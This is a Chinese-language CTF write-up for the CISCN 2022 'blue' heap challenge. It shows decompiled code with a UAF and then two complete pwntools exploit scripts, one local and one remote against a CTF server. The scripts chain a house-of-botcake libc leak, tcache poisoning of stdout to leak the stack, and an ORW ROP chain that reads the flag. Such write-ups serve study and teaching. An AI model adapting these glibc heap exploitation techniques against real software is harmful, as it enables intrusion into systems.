[CISCN 2022]华东北赛区 blue NSS

1777379508721-73865979-a565-4ea3-ae8a-5570c3394b2e.png

通过 pwninit 我们了解到这个文件是 libc 2.31 版本的

程序分析：

main

简单逆向修改函数过后大概是这个样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __fastcall __noreturn main(const char *p_Invalid_choice_n, char **a2, char **a3)
{
    int num; // [rsp+Ch] [rbp-4h]

    init_0();
    while ( 1 )
    {
        while ( 1 )
        {
            menu(p_Invalid_choice_n, a2);
            num = atoi();
            if ( num != 666 )
                break;
            free_uaf();
        }
        if ( num > 666 )
        {
            LABEL_13:
            p_Invalid_choice_n = "Invalid choice\n";
            puts_0("Invalid choice\n");
        }
        else if ( num == 3 )
        {
            show();
        }
        else
        {
            if ( num > 3 )
                goto LABEL_13;
            if ( num == 1 )
            {
                add();
            }
            else
            {
                if ( num != 2 )
                    goto LABEL_13;
                Del();
            }
        }
    }
}

init_0

首位各一个 prctl，很明显的沙箱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
unsigned int init_0()
{
    void *ptr; // [rsp+8h] [rbp-68h]
    __int16 n8; // [rsp+10h] [rbp-60h] BYREF
    __int16 *p_n32; // [rsp+18h] [rbp-58h]
    __int16 n32; // [rsp+20h] [rbp-50h] BYREF
    char v5; // [rsp+22h] [rbp-4Eh]
    char v6; // [rsp+23h] [rbp-4Dh]
    int n4; // [rsp+24h] [rbp-4Ch]
    __int16 n21; // [rsp+28h] [rbp-48h]
    char v9; // [rsp+2Ah] [rbp-46h]
    char n5; // [rsp+2Bh] [rbp-45h]
    int v11; // [rsp+2Ch] [rbp-44h]
    __int16 n32_1; // [rsp+30h] [rbp-40h]
    char v13; // [rsp+32h] [rbp-3Eh]
    char v14; // [rsp+33h] [rbp-3Dh]
    int v15; // [rsp+34h] [rbp-3Ch]
    __int16 n53; // [rsp+38h] [rbp-38h]
    char v17; // [rsp+3Ah] [rbp-36h]
    char v18; // [rsp+3Bh] [rbp-35h]
    int n0x40000000; // [rsp+3Ch] [rbp-34h]
    __int16 n21_1; // [rsp+40h] [rbp-30h]
    char v21; // [rsp+42h] [rbp-2Eh]
    char n2; // [rsp+43h] [rbp-2Dh]
    int v23; // [rsp+44h] [rbp-2Ch]
    __int16 n21_2; // [rsp+48h] [rbp-28h]
    char v25; // [rsp+4Ah] [rbp-26h]
    char v26; // [rsp+4Bh] [rbp-25h]
    int n59; // [rsp+4Ch] [rbp-24h]
    __int16 n6; // [rsp+50h] [rbp-20h]
    char v29; // [rsp+52h] [rbp-1Eh]
    char v30; // [rsp+53h] [rbp-1Dh]
    int n2147418112; // [rsp+54h] [rbp-1Ch]
    __int16 n6_1; // [rsp+58h] [rbp-18h]
    char v33; // [rsp+5Ah] [rbp-16h]
    char v34; // [rsp+5Bh] [rbp-15h]
    int v35; // [rsp+5Ch] [rbp-14h]
    unsigned __int64 v36; // [rsp+68h] [rbp-8h]

    v36 = __readfsqword(0x28u);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    prctl(38, 1, 0, 0, 0);
    n32 = 32;
    v5 = 0;
    v6 = 0;
    n4 = 4;
    n21 = 21;
    v9 = 0;
    n5 = 5;
    v11 = -1073741762;
    n32_1 = 32;
    v13 = 0;
    v14 = 0;
    v15 = 0;
    n53 = 53;
    v17 = 0;
    v18 = 1;
    n0x40000000 = 0x40000000;
    n21_1 = 21;
    v21 = 0;
    n2 = 2;
    v23 = -1;
    n21_2 = 21;
    v25 = 1;
    v26 = 0;
    n59 = 59;
    n6 = 6;
    v29 = 0;
    v30 = 0;
    n2147418112 = 2147418112;
    n6_1 = 6;
    v33 = 0;
    v34 = 0;
    v35 = 0;
    n8 = 8;
    p_n32 = &n32;
    prctl(22, 2, &n8);
    ptr = malloc(0x1000u);
    free(ptr);
    return alarm(0x20u);
}

1777382877576-ed6e5def-5ba3-491e-af80-151cf5c1815e.png

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int add()
{
  int inx; // [rsp+0h] [rbp-10h]
  unsigned int size[3]; // [rsp+4h] [rbp-Ch]

  puts_0("Please input size: ");
  *(_QWORD *)size = (unsigned int)atoi();
  if ( size[0] > 0x90 )
    size[0] = 0x90;                             // 限制堆的最大值为0x90
  *(_QWORD *)&size[1] = malloc(size[0]);        // 八字节的size[1]存放堆地址
  if ( *(_QWORD *)&size[1] )
  {
    puts_0("Please input content: ");
    read_0(*(void **)&size[1], size[0]);        // 读取内容
    for ( inx = 0; inx <= 31; ++inx )           // 限制最多32个堆
    {
      if ( !qword_4080[inx] && !dword_4180[inx] )
      {
        qword_4080[inx] = *(_QWORD *)&size[1];
        dword_4180[inx] = size[0];
        puts_0("Done\n");
        return inx;
      }
    }
    return puts_0("Empty\n");
  }
  else
  {
    puts_0("Malloc Error\n");
    return -1;
  }
}

Del

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int Del()
{
    unsigned int idx; // [rsp+Ch] [rbp-4h]

    puts_0("Please input idx: ");
    idx = atoi();
    if ( idx <= 0x20 && dword_4180[idx] && qword_4080[idx] )
    {
        free((void *)qword_4080[idx]);
        qword_4080[idx] = 0;
        dword_4180[idx] = 0;
        return puts_0("DONE!\n");
    }
    else
    {
        puts_0("ERROR\n");
        return -1;
    }
}

show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int show()
{
    unsigned int idx; // [rsp+Ch] [rbp-4h]

    if ( dword_406C > 0 )
    {
        puts("ERROR");
        _exit(0);
    }
    puts_0("Please input idx: ");
    idx = atoi();
    if ( idx <= 0x20 && dword_4180[idx] && qword_4080[idx] )
    {
        puts_0((const char *)qword_4080[idx]);
        ++dword_406C;
        return puts_0("Done!\n");
    }
    else
    {
        puts_0("ERROR\n");
        return -1;
    }
}

free_uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int free_uaf()
{
  unsigned int idx; // [rsp+Ch] [rbp-4h]

  if ( dword_4070 > 0 )
  {
    puts("ERROR");
    _exit(0);
  }
  puts_0("Please input idx: ");
  idx = atoi();
  if ( idx <= 0x20 && dword_4180[idx] && qword_4080[idx] )
  {
    free((void *)qword_4080[idx]);
    ++dword_4070;
    return puts_0("DONE!\n");
  }
  else
  {
    puts_0("ERROR\n");
    return -1;
  }
}

很贴心地留了一个 UAF

EXP 思路：。

整个利用过程可以划分为四个阶段：Libc 泄露 -> 栈地址泄露 (FSOP) -> 劫持程序控制流 -> 执行 ORW ROP链

以下是详细的思路拆解：

封装函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def add(size, content):
        p.sendlineafter(b'Choice: ',b'1')
        p.sendlineafter(b'Please input size: ',str(size))
        p.sendafter(b'Please input content: ',content)

def delete(index):
        p.sendlineafter(b'Choice: ',b'2')
        p.sendlineafter(b'Please input idx: ',str(index))
        
def show(index):
        p.sendlineafter(b'Choice: ',b'3')
        p.sendlineafter(b'Please input idx: ',str(index))

def uaf(index):
        p.sendlineafter(b'Choice: ',b'666')
        p.sendlineafter(b'Please input idx: ',str(index))

泄露 Libc_base（house of botcake）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for i in range(9):
    add(0x80,b'aaaa') # 0-8
    
add(0x10,b'bbbb')     # 9

for i in range(7):
    delete(i)         # 0-6

uaf(8)
show(8)
leak = u64(p.recvuntil(b'\x7f',drop=False)[-6:].ljust(8,b'\x00'))

log.info('leak:'+hex(leak))
offset = 0x1ecbe0
libc_base = leak - offset
log.info('libc_base:'+hex(libc_base))

1777386753952-fe5c2c07-768e-4485-984c-713157a078f4.png

  1. 申请 9 个大小为 0x80 的堆块后再申请一个 0x10 的防合并块，防止前面的堆块释放后与 Top Chunk 合并
  2. 释放前 7 个堆块，填满 Tcache 链表。
  3. 调用 uaf(8)，即前面分析的带有 UAF 的 free_all 函数释放第 8 个堆块。由于 Tcache 已满，这个堆块会被放入 Unsorted Bin 中。
  • 放入 Unsorted Bin 的堆块，其 fd 和 bk 指针会指向 Libc 内部的 main_arena 结构。由于 uaf(8) 存在 UAF 漏洞，此时调用 show(8) 就可以打印出 fd 指针的内容，从而精准计算出 libc_base。

Tcache Poisoning 1

1
2
3
4
5
#poisoning
delete(7)
add(0x80,b'cccc') # idx 0
delete(8)
debug()
  • 一开始释放了 chunk 0~6 填满了 Tcache,。然后利用 UAF 将 chunk 8 释放进了 Unsorted Bin
  • delete(7)：释放 chunk 7。由于 Tcache 已满，chunk 7 也进入 Unsorted Bin。由于物理内存上 chunk 7 紧挨在 chunk 8 前面，且 chunk 8 处于释放状态，Glibc 会将它们 Consolidate。
  • add(0x80,b'cccc') #0：申请一个 0x80 的块。系统会从 Tcache 中弹出一个块，此时 Tcache 余量为 6
触发：Double Free
  • delete(8)虽然 chunk 8 的内存已经被合并到了 0x120 的大堆块中，但程序依然允许我们释放 chunk 8
  • 因为刚才 Tcache 腾出了一个位置，这次释放会把 chunk 8 放进 Tcache (0x90) 中。
  • 此时 chunk 8 这块内存，既作为一条链表节点存在于 Tcache(0x90) 中，又同时包含在 Unsorted Bin 那个0x120 的大堆块内部

Tcache Poisoning 2

题目开启了沙箱，必须将执行流劫持到栈上执行 ROP 链。为了在栈上伪造数据，我们需要先知道栈的地址。这里利用了 _IO_2_1_stdout_ 和 environ。

1
2
3
4
5
6
7
8
stdout = libc_base + libc.sym["_IO_2_1_stdout_"]
environ = libc_base + libc.sym["environ"]

payload = p64(0) + p64(0x91) + p64(stdout)
add(0x70,b"aaaa")             # idx=1  Unsortedbin 
add(0x70,payload)             # idx=2  payload里带 0x91 和 IO_stdout
add(0x80,b"bbbbb")            # idx=3  (2和3地址差0x10，所以2可覆盖3)

  • add(0x70, b"aaaa") # idx=1：请求 0x70，实际分配 0x80 大小。
  • Tcache(0x80) 是空的，系统去 Unsorted Bin 找，找到了那个 0x120 的大块。切下 0x80 字节给 idx=1，这部分正好是原 chunk 7 的区域剩余的 Unsorted Bin 块大小变为：0x120 - 0x80 = 0xA0。这个新块的起始地址向后移动了 0x80 字节。
  • add(0x70, payload) # idx=2：再次请求 0x70，实际分配 0x80 大小。系统继续切割那个 0xA0 的 Unsorted Bin 块。idx=2 的 chunk 头部起始地址是 原地址 + 0x80。由于 chunk 头部占 0x10 字节，所以 idx=2 的 User_Data 起始于 原地址 + 0x80 + 0x10 = 原地址 + 0x90。原 chunk 8 的起始地址刚好就是 原地址 + 0x90，这意味着，idx 2 的用户可写区域正好覆盖了 chunk 8 的头部。
  • 此时写入 payloadpayload = p64(0) + p64(0x91) + p64(stdout) 由于 idx 2 的数据区就是 chunk 8 的头部，这段写入操作实际上在做：
    1. p64(0): 伪造 chunk 8 的 prev_size
    2. p64(0x91): 伪造 chunk 8 的 size
    3. p64(stdout): 覆盖 chunk 8 的 fd 指针进行 Tcache Poisoning。

1777390865178-e520c5d6-b845-4dde-a564-fb9ec34196ed.png

  • add(0x80, b"bbbbb") # idx=3请求 0x80，实际分配 0x90 大小，系统检查 Tcache(0x90)，发现里面有 chunk 8（前面被 Double Free 进去的）。系统把 chunk 8 分配给 idx=3（完成重叠，idx 2 的数据区和 idx 3 的头部重叠）。同时，系统读取了 chunk 8 的 fd 指针（已经被我们改成了 stdout），将其更新为 Tcache 的链表头。

下次调用 add(0x80)，系统就会把 _IO_2_1_stdout_ 的内存地址当作正常堆块分配，从而实现任意地址写

IO_2_1_stdout 利用全局变量 environ泄露栈地址

1
2
3
4
5
6
7
8
9
10
11
payload2 =  p64(0xfbad1800)   # flag
payload2 += p64(0)            # _IO_read_ptr
payload2 += p64(0)            # _IO_read_end
payload2 += p64(0)            # _IO_read_base
payload2 += p64(environ)      # _IO_write_base
payload2 += p64(environ+8)    # _IO_write_ptr
payload2 += p64(environ+8)    # _IO_write_end
add(0x80, payload2)           # 4

environ = u64(p.recvuntil(b'\x7f',drop=False)[-6:].ljust(8,b'\x00'))
log.info('stack:'+hex(environ))
  1. Tcache Poisoning ： 在 chunk 2 中写入伪造的 size (0x91) 和 fd 指针指向 _IO_2_1_stdout_
  2. 随后再申请同样大小的堆块时，堆管理器会把 _IO_2_1_stdout_ 所在的内存当成堆块分配给用户（即 chunk 4）
  3. IO_2_1_stdout： 向分配到的 stdout 结构体写入 payload2。核心是把 _IO_write_base 设置为 environ，_IO_write_ptr 设置为 environ+8。
  • 当调用输出函数时，Glibc 会把从 _IO_write_base 开始，到 _IO_write_ptr 结束的这段内存里的数据，当成字符串打印出来。
  • 我们把 _IO_write_base 指向了 environ 的地址。
  • 把 _IO_write_ptr 指向了 environ + 8。
  • 当程序下次调用 puts 或 printf 时，会根据被篡改的 stdout 结构，将 environ 内存放的栈地址直接打印出来。

劫持控制流到栈上 (二次 Tcache Poisoning)

1
2
3
4
5
6
7
8
offset2 = 0x128
stack_addr = environ - offset2

delete(3)
delete(2)
payload3 = p64(0) + p64(0x91) + p64(stack_addr)
add(0x70,payload3) # 2
add(0x80,b'dddd')  # 3

1777392660289-134496f9-baf5-4430-9de4-529e7a9d427b.png

  • 既然知道了栈地址，只要把堆块分配到当前函数的返回地址上，再写入我们的恶意代码，当函数执行 ret 指令时，就会跳转到我们的代码去执行。
  • 操作：
    1. 根据泄露出的 environ 栈底地址，减去固定偏移 0x128，精准算出当前栈帧的 rbp
    2. 再次释放堆块 2 和 3，利用同样的堆重叠/投毒手法，将 chunk 3 的 fd 指针覆盖为 stack_addr。
    3. 连续两次 add，此时堆管理器就会把包含函数返回地址所在的栈空间当作堆块分配给我们。

布置 ORW ROP 链读取 Flag

1
2
3
4
5
6
7
8
9
10
# open('./flag', 0)
p4 += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)

# read(3, ppp, 0x50)
p4 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(set_addr ) + p64(pop_rdx) + p64(0x50) + p64(read_addr)

# puts(set_addr )
p4 += p64(pop_rdi) + p64(set_addr ) + p64(puts_addr)

add(0x80, p4)

总结： 利用 UAF 泄露 libc -> Tcache 投毒伪造 stdout 泄露栈地址 -> 二次 Tcache 投毒将分配指针改到栈上 -> 写入 ORW ROP 链绕过沙箱。

总 EXP：

Local：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn import *
context.clear(arch='amd64', os='linux')
context.binary = './blue_patched'  

context.terminal=["tmux","splitw","-h"]
binpath = './blue_patched'
libc_path = './libc.so.6'

p = process(binpath)
elf = ELF(binpath)
libc = ELF(libc_path) 
def debug():
        gdb.attach(p)
        pause()
        
def add(size, content):
        p.sendlineafter(b'Choice: ',b'1')
        p.sendlineafter(b'Please input size: ',str(size))
        p.sendafter(b'Please input content: ',content)

def delete(index):
        p.sendlineafter(b'Choice: ',b'2')
        p.sendlineafter(b'Please input idx: ',str(index))
        
def show(index):
        p.sendlineafter(b'Choice: ',b'3')
        p.sendlineafter(b'Please input idx: ',str(index))

def uaf(index):
        p.sendlineafter(b'Choice: ',b'666')
        p.sendlineafter(b'Please input idx: ',str(index))

for i in range(9):
        add(0x80,b'aaaa') #0-8
        
add(0x10,b'bbbb') #aviod be merge
        
for i in range(7):
        delete(i) #0-6
        
        
uaf(8)

# debug()

show(8)
leak = u64(p.recvuntil(b'\x7f',drop=False)[-6:].ljust(8,b'\x00'))
log.info('leak:'+hex(leak))
offset = 0x1ecbe0
libc_base = leak - offset
log.info('libc_base:'+hex(libc_base))

#debug()

#poisoning
delete(7) # Consolidate

# debug()
add(0x80,b'cccc') # 0
delete(8)

# debug()

stdout = libc_base + libc.sym["_IO_2_1_stdout_"]
environ = libc_base + libc.sym["environ"]

payload = p64(0) + p64(0x91) + p64(stdout)
add(0x70,b"aaaa")          # idx=1

# debug()
add(0x70,payload)          # idx=2  (payload里带 0x91 和 IO_stdout)
# debug()
add(0x80,b"bbbbb")          # idx=3  (注释：2和3地址差0x10，所以2可覆盖3)

payload2 =  p64(0xfbad1800)   #flag
payload2 += p64(0)            #_IO_read_ptr
payload2 += p64(0)            #_IO_read_end
payload2 += p64(0)            #_IO_read_base
payload2 += p64(environ)      #_IO_write_base
payload2 += p64(environ+8)    #_IO_write_ptr
payload2 += p64(environ+8)    #_IO_write_end
add(0x80, payload2) #4

environ = u64(p.recvuntil(b'\x7f',drop=False)[-6:].ljust(8,b'\x00'))
log.info('stack:'+hex(environ))

log.success(f'environ_addr is {hex(environ)}')
debug()

offset2 = 0x128
stack_addr = environ - offset2

delete(3)
delete(2)
payload3 = p64(0) + p64(0x91) + p64(stack_addr)
add(0x70,payload3) #2
add(0x80,b'dddd') #3


read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base +0x000000000002601f
pop_rdx = 0x0000000000142c92 + libc_base

flag_addr = stack_addr
set_addr = stack_addr + 0x200

p4 = b'./flag\x00\x00'

# open('./flag', 0)
p4 += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)

# read(3, ppp, 0x50)
p4 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(set_addr ) + p64(pop_rdx) + p64(0x50) + p64(read_addr)

# puts(set_addr )
puts_addr = libc_base + libc.sym['puts']
p4 += p64(pop_rdi) + p64(set_addr ) + p64(puts_addr)
add(0x80, p4)


#debug()

p.interactive()


Remote：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
context.clear(arch='amd64', os='linux')
context.binary = './blue'  

binpath = './pwn'
ld = './ld.so'
libc_path = './libc.so.6'

p = remote('node4.anna.nssctf.cn',28703)
elf = ELF(binpath)
libc = ELF(libc_path)

def debug():
        gdb.attach(p)
        pause()
        
def add(size, content):
        p.sendlineafter(b'Choice: ',b'1')
        p.sendlineafter(b'Please input size: ',str(size))
        p.sendafter(b'Please input content: ',content)

def delete(index):
        p.sendlineafter(b'Choice: ',b'2')
        p.sendlineafter(b'Please input idx: ',str(index))
        
def show(index):
        p.sendlineafter(b'Choice: ',b'3')
        p.sendlineafter(b'Please input idx: ',str(index))

def backdoor(index):
        p.sendlineafter(b'Choice: ',b'666')
        p.sendlineafter(b'Please input idx: ',str(index))

for i in range(9):
        add(0x80,b'aaaa') #0-8
        
add(0x10,b'bbbb') #aviod be merge
        
for i in range(7):
        delete(i) #0-6
        
        
backdoor(8)
show(8)
leak = u64(p.recvuntil(b'\x7f',drop=False)[-6:].ljust(8,b'\x00'))
log.info('leak:'+hex(leak))
offset = 0x1ecbe0
libc_base = leak - offset
log.info('libc_base:'+hex(libc_base))

#debug()
#poisoning
delete(7)
add(0x80,b'cccc') #0
delete(8)

stout = libc_base + libc.sym["_IO_2_1_stdout_"]
environ = libc_base + libc.sym["environ"]

payload = p64(0) + p64(0x91) + p64(stout)
add(0x70,b"aaaa")          # idx=1
add(0x70,payload)          # idx=2  (payload里带 0x91 和 IO_stdout)
add(0x80,b"bbbbb")          # idx=3  (注释：2和3地址差0x10，所以2可覆盖3)

payload2 =  p64(0xfbad1800)   #flag
payload2 += p64(0)            #_IO_read_ptr
payload2 += p64(0)            #_IO_read_end
payload2 += p64(0)            #_IO_read_base
payload2 += p64(environ)      #_IO_write_base
payload2 += p64(environ+8)    #_IO_write_ptr
payload2 += p64(environ+8)    #_IO_write_end
add(0x80, payload2) #4

environ = u64(p.recvuntil(b'\x7f',drop=False)[-6:].ljust(8,b'\x00'))
log.info('stack:'+hex(environ))

#debug()

offset2 = 0x128
stack_addr = environ - offset2

delete(3)
delete(2)
payload3 = p64(0) + p64(0x91) + p64(stack_addr)
add(0x70,payload3) #2
add(0x80,b'dddd') #3


read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base +0x000000000002601f
pop_rdx = 0x0000000000142c92 + libc_base

flag_addr = stack_addr
set_addr = stack_addr + 0x200

p4 = b'./flag\x00\x00'

# open('./flag', 0)
p4 += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)

# read(3, ppp, 0x50)
p4 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(set_addr ) + p64(pop_rdx) + p64(0x50) + p64(read_addr)

# puts(set_addr )
puts_addr = libc_base + libc.sym['puts']
p4 += p64(pop_rdi) + p64(set_addr ) + p64(puts_addr)
add(0x80, p4)


#debug()

p.interactive()


更新: 2026-05-07 16:49:15
原文: https://www.yuque.com/idcm/wnemg9/gvr9dhnayk94sxfw